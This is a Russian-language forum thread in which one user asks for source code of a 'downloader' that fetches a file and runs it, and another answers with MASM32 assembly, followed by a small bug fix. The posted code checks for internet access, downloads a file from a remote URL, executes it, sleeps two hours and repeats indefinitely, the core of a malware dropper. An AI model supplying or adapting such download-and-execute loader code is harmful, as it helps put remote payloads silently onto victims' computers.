Всем привет Ищю сорс даунлоадера. Чтобы скачивал нужный файл и запускал его после скачки. Знает кто нить?
Код (Text): .586 .model flat, stdcall option casemap:none include \MASM32\INCLUDE\user32.inc include \MASM32\INCLUDE\kernel32.inc include \MASM32\INCLUDE\ws2_32.inc include \MASM32\INCLUDE\wininet.inc include \MASM32\INCLUDE\shell32.inc include \MASM32\INCLUDE\urlmon.inc includelib \MASM32\LIB\kernel32.lib includelib \MASM32\LIB\user32.lib includelib \MASM32\LIB\ws2_32.lib includelib \MASM32\LIB\wininet.lib includelib \MASM32\LIB\shell32.lib includelib \MASM32\LIB\urlmon.lib .data namefile db "1.htm", 0 addres db "http://wasm.ru/forum/index.php",0 google db "www.google.com", 0 .data? wsa db 500 dup (?) .code start: ; -----------------------------------проверим есть ли интернет-------------- proverka: PUSH offset wsa PUSH 202h CALL WSAStartup PUSH offset google CALL gethostbyname test eax, eax jnz da push 10000 Call Sleep jmp proverka da: ;------------------ интернет есть скачаем файл ----------------- PUSH 0 PUSH 0 PUSH offset namefile PUSH offset addres PUSH 0 CALL URLDownloadToFileA push 0 push 0 push 0 push 0 push offset namefile push 0 push 0 call ShellExecuteA ; Уснем на пару часов push 7200000 Call Sleep jmp proverka push 0 call ExitProcess end start
Код (Text): push 0 push 0 push 0 push 0 push offset namefile push 0 push 0 call ShellExecuteA первый push 0 лишний, удали его